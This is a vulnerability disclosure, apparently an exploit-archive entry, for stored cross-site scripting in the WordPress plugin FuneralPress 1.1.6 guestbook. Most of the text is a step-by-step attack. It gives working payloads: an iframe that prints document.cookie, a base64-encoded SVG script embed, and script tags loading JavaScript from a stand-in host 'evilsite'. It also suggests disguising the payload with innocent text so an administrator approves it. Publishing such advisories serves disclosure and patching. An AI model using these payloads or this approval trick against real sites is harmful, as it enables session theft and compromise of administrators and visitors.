WordPress Plugin FuneralPress 1.1.6 – Persistent Cross-Site Scripting
# # # WP FuneralPress - stored xss in guestbook # # "FuneralPress is an online website obituary management and guest book program for funeral homes and cemeteries" # http://wpfuneralpress.com/ # # tested on: funeralpress version 1.1.6 / wordpress version 3.5.1 # # impact: # malicious script execution as wordpress administrator # # author: robarmstrong.te71@gmail.com # summary A low-privilege or guest user can inject code via the <textareaname="photo-message">, < textarea name="youtube-message"> and <textarea name="message"> elements which are part of the wpfh_upload_form form in http://site/obituaries/?id=[ID]&f=guestbook&m=add Scripts injected via the "photo-message" and "youtube-message" elements will be executed by the admin user when they browse to the guestbook admin page at http://site/wp-admin/admin.php?page=wpfh-guestbook If a malicious post is approved by the admin, the script will be run by anyone viewing the guestbook. # details There appears to be some basic xss protection on form submissions using < textarea name="message"> and code injected via this element is not served up on the guestbook admin page. Despite this, scripts injected via an iframe or embedded svg will be executed by anyone viewing the guestbook at http://site/obituaries/?id=1&f= guestbook on the condition that the post is approved by the site administrator. The chances of an administrator approving a malicious message are increased if some normal-looking text is inserted above the malicious code, resulting in a legitimate looking "Message Preview" field on the admin page. ## message post example: 1. Attacker browses to: http://site/obituaries/?id=1&f=guestbook&m=addand submits the form with the following entered into < textarea name="message" style="width:98%;height:170px" id="wpfh_message_ textarea"></textarea> : Poor Peter was a fine old chap, such a pity he was eaten to death by a pack of wild children. <IFRAME SRC="javascript:document.write('xss cookie: ' + document.cookie);"></IFRAME> <EMBED SRC="data:image/svg+xml ;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZW NtYXNjcmlwdCI+YWxlcnQoInhzcyBhbGVydCIpPC9zY3JpcHQ+PC9zdmc+Cg==" type="image/ svg+xml" AllowScriptAccess="always"></EMBED> 2. Site administrator browses to http://site/wp-admin/admin.php?page= wpfh-guestbook, sees an entry with a message preview that reads "Poor Peter was a fine old chap..." and approves it. 3. Anyone browsing to http://site/obituaries/?id=1+&f=guestbook will execute the injected script The xss flaws in <textarea name="photo-message"> and <textarea name="youtube-message"> are more serious, as scripts injected here are served up to the admin user when they attempt to approve the guestbook comments at http://site/wp -admin/admin.php?page=wpfh-guestbook As with the regular guestbook messages, if the admin approves a malicious photo or youtube message the script will be executed by anyone browsing to the guestbook. ## photo/youtube post example: 1. Attacker hosts malicious javascript on another site: http://evilsite/fp.js : document.getElementById("topmenu").innerHTML="<h1>XSS</h1>"; //rewrite admin page http://evilsite/doc.js : document.write("document.write XSS");alert("XSS"); 2. Attacker browses to: http://site/obituaries/?id=1&f=guestbook&m=addand selects either the "Photo" or " Youtube" guestbook message option 3. If Photo was selected, the attacker enters a path to a local image in <input type="file" name="photo" id="wpfh_message_file">. Otherwise they enter a Youtube link into <input type="text" name="youtube" style="width:95%" id="wpfh_message_youtube" value=""> 4. Depending on which type of message was selected, the attacker submits the form with the following entered into <textareastyle="width:100%;height:70px" name="photo-message"></ textarea> or <textarea style="width:100%;height:70px" name="youtube -message"></textarea> : <SCRIPT SRC=http://evilsite/fp.js></SCRIPT> <SCRIPT SRC=http://evilsite/doc.js></SCRIPT> 5. The site administrator browses to http://site/wp-admin/admin.php ?page=wpfh-guestbook and the scripts that have been injected into <table class="wp-list-table widefat fixed posts" cellspacing="0"> are executed: <td style="background-color:#ffd1d1 !important" > <a href="http://www.youtube.com/watch?v=tsLkL8DTHeg" target="_blank">View Video</a><br><SCRIPT SRC=http://evilsite/fp.js ></SCRIPT> <SCRIPT SRC=http://evilsite/doc.js></SCRIPT> </td> |